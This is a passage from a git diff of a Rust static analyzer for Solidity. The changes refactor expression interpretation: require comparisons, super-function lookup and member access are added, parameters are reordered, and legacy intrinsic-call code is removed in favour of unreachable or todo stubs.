self) + .into_expr_err(loc)?; + let rhs = ExprRet::Single(self.add_node(tmp_true)); + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Eq, loc) + } else { + Ok(()) } } fn interp_list( &mut self, - _arena: &mut RangeArena>, ctx: ContextNode, stack: &[FlatExpr], list: FlatExpr, @@ -589,6 +642,23 @@ pub trait Flatten: Ok(()) } + fn interp_member_access( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::MemberAccess(loc, name) = next else { + unreachable!() + }; + + let member = ctx + .pop_n_latest_exprs(1, loc, self) + .into_expr_err(loc)? + .swap_remove(0); + self.member_access(arena, ctx, member, name, loc) + } + fn interp_xxcrement( &mut self, arena: &mut RangeArena>, @@ -703,14 +773,53 @@ pub trait Flatten: let res = ctx.pop_n_latest_exprs(2, loc, self).into_expr_err(loc)?; let [lhs, rhs] = into_sized::(res); - match cmp { - FlatExpr::Equal(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Eq, &rhs), - FlatExpr::NotEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Neq, &rhs), - FlatExpr::Less(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lt, &rhs), - FlatExpr::More(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gt, &rhs), - FlatExpr::LessEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lte, &rhs), - FlatExpr::MoreEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gte, &rhs), - _ => unreachable!(), + if matches!(self.peek_expr_flag(), Some(ExprFlag::Requirement)) { + self.take_expr_flag(); + match cmp { + FlatExpr::Equal(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Eq, loc) + } + FlatExpr::NotEqual(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Neq, loc) + } + FlatExpr::Less(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Lt, loc) + } + FlatExpr::More(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Gt, loc) + } + FlatExpr::LessEqual(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Lte, loc) + } + FlatExpr::MoreEqual(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Gte, loc) + } + FlatExpr::Or(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::Or, loc) + } + FlatExpr::And(..) => { + self.handle_require_inner(arena, ctx, &lhs, &rhs, RangeOp::And, loc) + } + _ => unreachable!(), + } + } else { + match cmp { + FlatExpr::Equal(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Eq, &rhs), + FlatExpr::NotEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Neq, &rhs), + FlatExpr::Less(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lt, &rhs), + FlatExpr::More(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gt, &rhs), + FlatExpr::LessEqual(..) => { + self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Lte, &rhs) + } + FlatExpr::MoreEqual(..) => { + self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gte, &rhs) + } + FlatExpr::LessEqual(..) => { + self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::And, &rhs) + } + FlatExpr::MoreEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Or, &rhs), + _ => unreachable!(), + } } } @@ -828,11 +937,16 @@ pub trait Flatten: unreachable!() }; + let mut is_req = false; match self.take_expr_flag() { - Some(ExprFlag::FunctionName(n)) => { - let maybe_fn = self - .find_func(arena, ctx, name.to_string(), n) - .into_expr_err(loc)?; + Some(ExprFlag::FunctionName(n, super_call)) => { + let maybe_fn = if super_call { + self.find_super_func(arena, ctx, name.to_string(), n) + .into_expr_err(loc)? + } else { + self.find_func(arena, ctx, name.to_string(), n) + .into_expr_err(loc)? + }; if let Some(fn_node) = maybe_fn { let as_var = ContextVar::maybe_from_user_ty(self, loc, fn_node.into()).unwrap(); @@ -956,10 +1070,20 @@ pub trait Flatten: let res = if let Some(input_names) = input_names { let mut ret = Ok(None); let ordered_names = match self.node(func) { + Node::ContextVar(..) => match ContextVarNode::from(func).ty(self).unwrap() { + VarType::User(TypeNode::Func(func), _) => func.ordered_param_names(self), + VarType::User(TypeNode::Struct(strukt), _) => { + strukt.ordered_new_param_names(self) + } + VarType::User(TypeNode::Contract(con), _) => { + con.ordered_new_param_names(self) + } + other => todo!("Unhandled named arguments parent: {other:?}"), + }, Node::Function(..) => FunctionNode::from(func).ordered_param_names(self), Node::Struct(..) => StructNode::from(func).ordered_new_param_names(self), Node::Contract(..) => ContractNode::from(func).ordered_new_param_names(self), - _ => todo!(), + other => todo!("Unhandled named arguments parent: {other:?}"), }; if ordered_names != input_names { @@ -1031,10 +1155,24 @@ pub trait Flatten: }; self.cast_inner(arena, ctx, ty, &builtin, inputs, loc) } - _ => todo!(), + e => todo!("Unhandled ty: {e:?}"), } } + fn interp_super_func_call( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + next: FlatExpr, + ) -> Result<(), ExprErr> { + let FlatExpr::Super(loc, name) = next else { + unreachable!() + }; + + // self.super_access(arena, ctx, name, loc) + todo!() + } + fn interp_negatable_literal( &mut self, arena: &mut RangeArena>, diff --git a/crates/solc-expressions/src/context_builder/mod.rs b/crates/solc-expressions/src/context_builder/mod.rs index eacb5b3b..9f2b2eab 100644 --- a/crates/solc-expressions/src/context_builder/mod.rs +++ b/crates/solc-expressions/src/context_builder/mod.rs @@ -2,7 +2,7 @@ use graph::{ elem::Elem, nodes::{Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, KilledKind}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, GraphError, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/env.rs b/crates/solc-expressions/src/env.rs index f868affa..6c77f12c 100644 --- a/crates/solc-expressions/src/env.rs +++ b/crates/solc-expressions/src/env.rs @@ -3,7 +3,7 @@ use crate::{func_call::helper::CallerHelper, func_call::modifier::ModifierCaller use graph::{ elem::Elem, nodes::{Builtin, Concrete, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr, RangeArena, StorageLocation}; @@ -57,9 +57,9 @@ pub trait Env: AnalyzerBackend + Sized { fn block_access( &mut self, - loc: Loc, ctx: ContextNode, ident_name: &str, + loc: Loc, ) -> Result { let name = format!("block.{}", ident_name); tracing::trace!("Block Env member access: {}", name); @@ -264,9 +264,9 @@ pub trait Env: AnalyzerBackend + Sized { fn msg_access( &mut self, - loc: Loc, ctx: ContextNode, ident_name: &str, + loc: Loc, ) -> Result { let name = format!("msg.{}", ident_name); tracing::trace!("Msg Env member access: {}", name); diff --git a/crates/solc-expressions/src/func_call/apply.rs b/crates/solc-expressions/src/func_call/apply.rs index a475fb3b..ff8e8dfd 100644 --- a/crates/solc-expressions/src/func_call/apply.rs +++ b/crates/solc-expressions/src/func_call/apply.rs @@ -10,7 +10,7 @@ use graph::{ Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, FuncVis, FunctionNode, FunctionParamNode, KilledKind, }, - AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, Range, SolcRange, VarType, + AnalyzerBackend, ContextEdge, Edge, GraphBackend, Range, SolcRange, VarType, }; use shared::{AnalyzerLike, ExprErr, IntoExprErr, NodeIdx, RangeArena, StorageLocation}; @@ -526,7 +526,7 @@ pub trait FuncApplier: if let Some(_len_var) = replacement.array_to_len_var(self) { // bring the length variable along as well - self.get_length(arena, apply_ctx, loc, *func_input, false) + self.get_length(arena, apply_ctx, *func_input, false, loc) .unwrap(); } diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index 5a6a7b17..4d91d285 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -4,9 +4,8 @@ use crate::{ func_call::{apply::FuncApplier, modifier::ModifierCaller}, helper::CallerHelper, internal_call::InternalFuncCaller, - intrinsic_call::IntrinsicFuncCaller, namespaced_call::NameSpaceFuncCaller, - ContextBuilder, ExpressionParser, Flatten, + ContextBuilder, Flatten, }; use graph::{ @@ -149,79 +148,6 @@ pub trait FuncCaller: )), } } - #[tracing::instrument(level = "trace", skip_all)] - /// Perform a function call - fn fn_call_expr( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - func_expr: &Expression, - input_exprs: &[Expression], - ) -> Result<(), ExprErr> { - use solang_parser::pt::Expression::*; - match func_expr { - MemberAccess(loc, member_expr, ident) => self.call_name_spaced_func( - arena, - ctx, - loc, - member_expr, - ident, - NamedOrUnnamedArgs::Unnamed(input_exprs), - ), - Variable(ident) => self.call_internal_func( - arena, - ctx, - loc, - ident, - func_expr, - NamedOrUnnamedArgs::Unnamed(input_exprs), - ), - _ => { - self.parse_ctx_expr(arena, func_expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Function call to nonexistent function".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_intrinsic_fallback( - arena, - ctx, - &loc, - &NamedOrUnnamedArgs::Unnamed(input_exprs), - ret, - ) - }) - } - } - } - - /// Perform an intrinsic function call - fn match_intrinsic_fallback( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: &Loc, - input_exprs: &NamedOrUnnamedArgs, - ret: ExprRet, - ) -> Result<(), ExprErr> { - match ret { - ExprRet::Single(func_idx) | ExprRet::SingleLiteral(func_idx) => { - self.intrinsic_func_call(arena, loc, input_exprs, func_idx, ctx) - } - ExprRet::Multi(inner) => inner.into_iter().try_for_each(|ret| { - self.match_intrinsic_fallback(arena, ctx, loc, input_exprs, ret) - }), - ExprRet::CtxKilled(kind) => ctx.kill(self, *loc, kind).into_expr_err(*loc), - ExprRet::Null => Ok(()), - } - } /// Setups up storage variables for a function call and calls it fn setup_fn_call( diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index 0ac5b0c8..24872ba0 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -13,7 +13,7 @@ use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena, StorageLocation}; use solang_parser::pt::{Expression, Loc}; -use std::{cell::RefCell, collections::BTreeMap, rc::Rc}; +use std::collections::BTreeMap; impl CallerHelper for T where T: AnalyzerBackend + Sized {} /// Helper trait for performing function calls @@ -72,7 +72,7 @@ pub trait CallerHelper: AnalyzerBackend + if let Some(_len_var) = input.array_to_len_var(self) { // bring the length variable along as well - self.get_length(arena, callee_ctx, loc, node, false) + self.get_length(arena, callee_ctx, node, false, loc) .unwrap(); } @@ -157,29 +157,6 @@ pub trait CallerHelper: AnalyzerBackend + .collect::>()) } - #[tracing::instrument(level = "trace", skip_all)] - /// Parses input expressions into [`ExprRet`]s and adds them to the expr ret stack - fn parse_inputs( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - inputs: &[Expression], - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - } - - fn parse_input( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - _loc: Loc, - input: &Expression, - append: &Rc>, - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - } - /// Creates a new context for a call fn create_call_ctx( &mut self, diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 8b445ab2..d84d5ff2 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -175,19 +175,41 @@ pub trait InternalFuncCaller: input.expr.clone() }) .collect(); - self.parse_inputs(arena, ctx, *loc, &inputs[..])?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let inputs = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap_or_else(|| ExprRet::Multi(vec![])); - analyzer.setup_fn_call(arena, &ident.loc, &inputs, func.into(), ctx, None) - }) + unreachable!() } else { todo!("Disambiguate named function call"); } } + fn find_super_func( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + name: String, + num_inputs: usize, + ) -> Result, GraphError> { + if let Some(contract) = ctx.maybe_associated_contract(self)? { + let supers = contract.super_contracts(self); + let possible_funcs: Vec<_> = supers + .iter() + .filter_map(|con_node| { + con_node + .linearized_functions(self) + .ok()? + .into_iter() + .find(|(func_name, func_node)| { + func_name.starts_with(&name) + && func_node.params(self).len() == num_inputs + }) + .map(|(_, node)| node) + }) + .collect(); + self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs) + } else { + Ok(None) + } + } + fn find_func( &mut self, arena: &mut RangeArena>, @@ -205,7 +227,17 @@ pub trait InternalFuncCaller: }) .copied() .collect::>(); + self.find_func_inner(arena, ctx, name, num_inputs, possible_funcs) + } + fn find_func_inner( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + name: String, + num_inputs: usize, + possible_funcs: Vec, + ) -> Result, GraphError> { match possible_funcs.len() { 0 => Ok(None), 1 => Ok(Some(possible_funcs[0])), @@ -307,7 +339,7 @@ pub trait InternalFuncCaller: ctx.push_expr(ret, analyzer).into_expr_err(loc)?; return Ok(()); } - analyzer.match_intrinsic_fallback(arena, ctx, &loc, &input_exprs, ret) + unreachable!() }) } 1 => { diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs index c8dc0ebb..a9faccaf 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/address.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/address.rs @@ -1,6 +1,6 @@ use graph::{ nodes::{Builtin, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr}; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs index edc4ff40..171fca16 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/array.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/array.rs @@ -84,7 +84,7 @@ pub trait ArrayCaller: AnalyzerBackend + S // get length let len = analyzer - .get_length(arena, ctx, loc, arr, true)? + .get_length(arena, ctx, arr, true, loc)? .unwrap() .latest_version(analyzer); @@ -166,7 +166,7 @@ pub trait ArrayCaller: AnalyzerBackend + S // get length let len = analyzer - .get_length(arena, ctx, loc, arr, true)? + .get_length(arena, ctx, arr, true, loc)? .unwrap() .latest_version(analyzer); @@ -271,7 +271,7 @@ pub trait ArrayCaller: AnalyzerBackend + S // get length let len = analyzer - .get_length(arena, ctx, loc, arr, true)? + .get_length(arena, ctx, arr, true, loc)? .unwrap() .latest_version(analyzer); diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs index bded14be..19152db3 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/block.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/block.rs @@ -1,7 +1,7 @@ use graph::{ elem::Elem, nodes::{Builtin, Concrete, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, Node, + AnalyzerBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index 1f826d53..6d582662 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -3,7 +3,7 @@ use crate::{variable::Variable, ListAccess}; use graph::{ elem::{Elem, RangeElem}, nodes::{Builtin, Concrete, ContextNode, ContextVarNode, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, SolcRange, VarType, + AnalyzerBackend, ContextEdge, Edge, SolcRange, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index 4958eb8d..3437de20 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -1,7 +1,6 @@ use crate::{ context_builder::ExpressionParser, func_call::{func_caller::FuncCaller, helper::CallerHelper}, - func_caller::NamedOrUnnamedArgs, intrinsic_call::{ AbiCaller, AddressCaller, ArrayCaller, BlockCaller, ConstructorCaller, DynBuiltinCaller, MsgCaller, PrecompileCaller, SolidityCaller, TypesCaller, @@ -226,138 +225,4 @@ pub trait IntrinsicFuncCaller: )), } } - - /// Calls an intrinsic/builtin function call (casts, require, etc.) - #[tracing::instrument(level = "trace", skip_all)] - fn intrinsic_func_call( - &mut self, - arena: &mut RangeArena>, - loc: &Loc, - input_exprs: &NamedOrUnnamedArgs, - func_idx: NodeIdx, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - unreachable!("Shouldnt have called this"); - // match self.node(func_idx) { - // Node::Function(underlying) => { - // if let Some(func_name) = &underlying.name { - // match &*func_name.name { - // // abi - // _ if func_name.name.starts_with("abi.") => { - // self.abi_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - // } - // // address - // "delegatecall" | "staticcall" | "call" | "code" | "balance" => { - // self.address_call(func_name.name.clone(), input_exprs, *loc, ctx) - // } - // // array - // "push" | "pop" => { - // self.array_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - // } - // // block - // "blockhash" => { - // self.block_call(arena, func_name.name.clone(), input_exprs, *loc, ctx) - // } - // // dynamic sized builtins - // "concat" => self.dyn_builtin_call( - // arena, - // func_name.name.clone(), - // input_exprs, - // *loc, - // ctx, - // ), - // // msg - // "gasleft" => self.msg_call(func_name.name.clone(), input_exprs, *loc, ctx), - // // precompiles - // "sha256" | "ripemd160" | "ecrecover" => self.precompile_call( - // arena, - // func_name.name.clone(), - // func_idx, - // input_exprs, - // *loc, - // ctx, - // ), - // // solidity - // "keccak256" | "addmod" | "mulmod" | "require" | "assert" => self - // .solidity_call(arena, func_name.name.clone(), input_exprs, *loc, ctx), - // // typing - // "type" | "wrap" | "unwrap" => self.types_call( - // arena, - // func_name.name.clone(), - // func_idx, - // input_exprs, - // *loc, - // ctx, - // ), - // e => Err(ExprErr::Todo( - // *loc, - // format!("builtin function: {e:?} doesn't exist or isn't implemented"), - // )), - // } - // } else { - // panic!("unnamed builtin?") - // } - // } - // Node::Builtin(Builtin::Array(_)) => { - // // construct a new array - // self.construct_array(arena, func_idx, input_exprs, *loc, ctx) - // } - // Node::Contract(_) => { - // // construct a new contract - // self.construct_contract(arena, func_idx, input_exprs, *loc, ctx) - // } - // Node::Struct(_) => { - // // construct a struct - // self.construct_struct(arena, func_idx, input_exprs, *loc, ctx) - // } - // Node::Builtin(ty) => { - // // cast to type - // self.cast(arena, ty.clone(), func_idx, input_exprs, *loc, ctx) - // } - // Node::ContextVar(_c) => { - // // its a user type, just push it onto the stack - // ctx.push_expr(ExprRet::Single(func_idx), self) - // .into_expr_err(*loc)?; - // Ok(()) - // } - // Node::Unresolved(_) => { - // // Try to give a nice error - // input_exprs.parse(arena, self, ctx, *loc)?; - - // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - // let Some(inputs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - // return Err(ExprErr::NoRhs(loc, "Function call failed".to_string())) - // }; - - // if matches!(inputs, ExprRet::CtxKilled(_)) { - // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // let visible_funcs = ctx.visible_funcs(analyzer).into_expr_err(loc)? - // .iter() - // .map(|func| func.name(analyzer).unwrap()) - // .collect::>(); - - // if let Node::Unresolved(ident) = analyzer.node(func_idx) { - // Err(ExprErr::FunctionNotFound( - // loc, - // format!( - // "Could not find function: \"{}{}\", context: {}, visible functions: {:#?}", - // ident.name, - // inputs.try_as_func_input_str(analyzer, arena), - // ctx.path(analyzer), - // visible_funcs - // ) - // )) - // } else { - // unreachable!() - // } - // }) - // } - // e => Err(ExprErr::FunctionNotFound( - // *loc, - // format!("Unhandled function call type: {e:?}"), - // )), - // } - } } diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs index d7d936d7..dfae4532 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/msg.rs @@ -1,6 +1,6 @@ use graph::{ nodes::{Builtin, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, Node, + AnalyzerBackend, }; use shared::{ExprErr, IntoExprErr}; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs index 87612587..4062c706 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/solidity.rs @@ -1,9 +1,10 @@ use crate::func_call::helper::CallerHelper; +use crate::require::Require; use graph::{ - elem::Elem, + elem::{Elem, RangeOp}, nodes::{Builtin, Concrete, ConcreteNode, ContextNode, ContextVar, ContextVarNode, ExprRet}, - AnalyzerBackend, Node, + AnalyzerBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -28,7 +29,7 @@ pub trait SolidityCaller: inputs: ExprRet, loc: Loc, ) -> Result<(), ExprErr> { - match &*func_name { + match func_name { "keccak256" => { let cvar = if let Ok(var) = inputs.expect_single() { ContextVarNode::from(var) @@ -93,8 +94,10 @@ pub trait SolidityCaller: Ok(()) } "require" | "assert" => { - // self.handle_require(arena, input_exprs.unnamed_args().unwrap(), ctx) - todo!() + Err(ExprErr::ParseError( + loc, + "require(..) and assert(..) should have been handled in the parsing step. This is a bug".to_string(), + )) } _ => Err(ExprErr::FunctionNotFound( loc, diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs index 48370678..8c992517 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/types.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/types.rs @@ -1,14 +1,13 @@ use crate::func_caller::NamedOrUnnamedArgs; use crate::ListAccess; use crate::{variable::Variable, ContextBuilder, ExpressionParser}; -use graph::nodes::FunctionNode; use graph::{ elem::*, nodes::{ BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, TyNode, }, - AnalyzerBackend, Node, VarType, + AnalyzerBackend, VarType, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; @@ -165,10 +164,10 @@ pub trait TypesCaller: AnalyzerBackend + S let _ = self.create_length( arena, ctx, - loc, new_var, new_var.latest_version(self), false, + loc, )?; } diff --git a/crates/solc-expressions/src/func_call/namespaced_call.rs b/crates/solc-expressions/src/func_call/namespaced_call.rs index 22d093a7..866025d2 100644 --- a/crates/solc-expressions/src/func_call/namespaced_call.rs +++ b/crates/solc-expressions/src/func_call/namespaced_call.rs @@ -4,7 +4,6 @@ use crate::assign::Assign; use crate::{ func_call::func_caller::{FuncCaller, NamedOrUnnamedArgs}, func_call::helper::CallerHelper, - intrinsic_call::IntrinsicFuncCaller, member_access::MemberAccess, ContextBuilder, ExpressionParser, }; @@ -50,7 +49,7 @@ pub trait NameSpaceFuncCaller: let fn_node = self .builtin_fn_or_maybe_add(&func_name) .unwrap_or_else(|| panic!("No builtin function with name {func_name}")); - return self.intrinsic_func_call(arena, loc, &input_exprs, fn_node, ctx); + unreachable!() } else if name == "super" { if let Some(contract) = ctx.maybe_associated_contract(self).into_expr_err(*loc)? { let supers = contract.super_contracts(self); @@ -425,13 +424,7 @@ pub trait NameSpaceFuncCaller: } let mut modifier_input_exprs = vec![member_expr.clone()]; modifier_input_exprs.extend(input_exprs.exprs()); - analyzer.match_intrinsic_fallback( - arena, - ctx, - &loc, - &NamedOrUnnamedArgs::Unnamed(&modifier_input_exprs), - ret, - ) + unreachable!() }) } else { // analyzer.match_intrinsic_fallback(ctx, &loc, &modifier_input_exprs, ret) @@ -470,13 +463,7 @@ pub trait NameSpaceFuncCaller: } let mut modifier_input_exprs = vec![member_expr.clone()]; modifier_input_exprs.extend(input_exprs.exprs()); - analyzer.match_intrinsic_fallback( - arena, - ctx, - &loc, - &NamedOrUnnamedArgs::Unnamed(&modifier_input_exprs), - ret, - ) + unreachable!() }) } } else if possible_funcs.len() == 1 { diff --git a/crates/solc-expressions/src/list.rs b/crates/solc-expressions/src/list.rs index f171c117..7f602dde 100644 --- a/crates/solc-expressions/src/list.rs +++ b/crates/solc-expressions/src/list.rs @@ -1,94 +1,14 @@ use graph::{ - elem::Elem, - nodes::{Concrete, ContextNode, ContextVar, ExprRet}, + nodes::{ContextNode, ContextVar, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, VarType, }; -use shared::{ExprErr, FlatExpr, IntoExprErr, RangeArena}; +use shared::{ExprErr, FlatExpr, IntoExprErr}; -use solang_parser::pt::{Expression, Loc, Parameter, ParameterList}; +use solang_parser::pt::{Expression, Loc}; impl List for T where T: AnalyzerBackend + Sized {} /// Dealing with list parsing and operations pub trait List: AnalyzerBackend + Sized { - #[tracing::instrument(level = "trace", skip_all)] - fn list( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - loc: Loc, - params: &ParameterList, - ) -> Result<(), ExprErr> { - unreachable!("Should not have called this"); - } - - fn match_input_ty( - &mut self, - ctx: ContextNode, - loc: &Loc, - ty_ret: &ExprRet, - input: &Parameter, - ) -> Result { - match ty_ret { - ExprRet::Null => Ok(ExprRet::Null), - ExprRet::Single(ty) | ExprRet::SingleLiteral(ty) => { - if let Some(input_name) = &input.name { - let ty = VarType::try_from_idx(self, *ty).expect("Not a known type"); - let var = ContextVar { - loc: Some(*loc), - name: input_name.to_string(), - display_name: input_name.to_string(), - storage: input.storage.as_ref().map(|s| s.clone().into()), - is_tmp: false, - is_symbolic: false, - tmp_of: None, - dep_on: None, - is_return: false, - ty, - }; - let input_node = self.add_node(var); - ctx.add_var(input_node.into(), self).into_expr_err(*loc)?; - self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(input_node)) - } else { - match self.node(*ty) { - Node::ContextVar(_var) => { - // reference the variable directly, don't create a temporary variable - Ok(ExprRet::Single(*ty)) - } - _ => { - // create a tmp - let ty = VarType::try_from_idx(self, *ty).expect("Not a known type"); - let tmp_num = ctx.new_tmp(self).into_expr_err(*loc)?; - let new_lhs_underlying = ContextVar { - loc: Some(*loc), - name: format!("tmp{tmp_num}"), - display_name: format!("tmp{tmp_num}"), - storage: input.storage.as_ref().map(|s| s.clone().into()), - is_tmp: true, - is_symbolic: false, - tmp_of: None, - dep_on: None, - is_return: false, - ty, - }; - let input_node = self.add_node(new_lhs_underlying); - ctx.add_var(input_node.into(), self).into_expr_err(*loc)?; - self.add_edge(input_node, ctx, Edge::Context(ContextEdge::Variable)); - Ok(ExprRet::Single(input_node)) - } - } - } - } - ExprRet::Multi(inner) => Ok(ExprRet::Multi( - inner - .iter() - .map(|i| self.match_input_ty(ctx, loc, i, input)) - .collect::>()?, - )), - ExprRet::CtxKilled(kind) => Ok(ExprRet::CtxKilled(*kind)), - } - } - fn list_inner( &mut self, ctx: ContextNode, @@ -99,7 +19,6 @@ pub trait List: AnalyzerBackend + Sized { match ret { ExprRet::Null => Ok(ExprRet::Null), ExprRet::Single(ty) | ExprRet::SingleLiteral(ty) => { - println!("param: {:#?}", param); let FlatExpr::Parameter(_, maybe_storage, maybe_name) = param else { unreachable!() }; diff --git a/crates/solc-expressions/src/member_access/builtin_access.rs b/crates/solc-expressions/src/member_access/builtin_access.rs index 2f767cac..5233c84c 100644 --- a/crates/solc-expressions/src/member_access/builtin_access.rs +++ b/crates/solc-expressions/src/member_access/builtin_access.rs @@ -2,7 +2,7 @@ use crate::LibraryAccess; use graph::{ nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ExprRet}, - AnalyzerBackend, ContextEdge, Edge, Node, + AnalyzerBackend, ContextEdge, Edge, }; use shared::{ExprErr, IntoExprErr}; @@ -21,19 +21,19 @@ pub trait BuiltinAccess: /// Perform member access on builtin types fn builtin_member_access( &mut self, - loc: Loc, ctx: ContextNode, node: BuiltInNode, + name: &str, is_storage: bool, - ident: &Identifier, + loc: Loc, ) -> Result { tracing::trace!("Looking for builtin member function"); - if let Some(ret) = self.library_func_search(ctx, node.0.into(), ident) { + if let Some(ret) = self.library_func_search(ctx, node.0.into(), name) { Ok(ret) } else { match node.underlying(self).into_expr_err(loc)?.clone() { Builtin::Address | Builtin::AddressPayable | Builtin::Payable => { - match &*ident.name { + match name { "delegatecall" | "call" | "staticcall" @@ -42,7 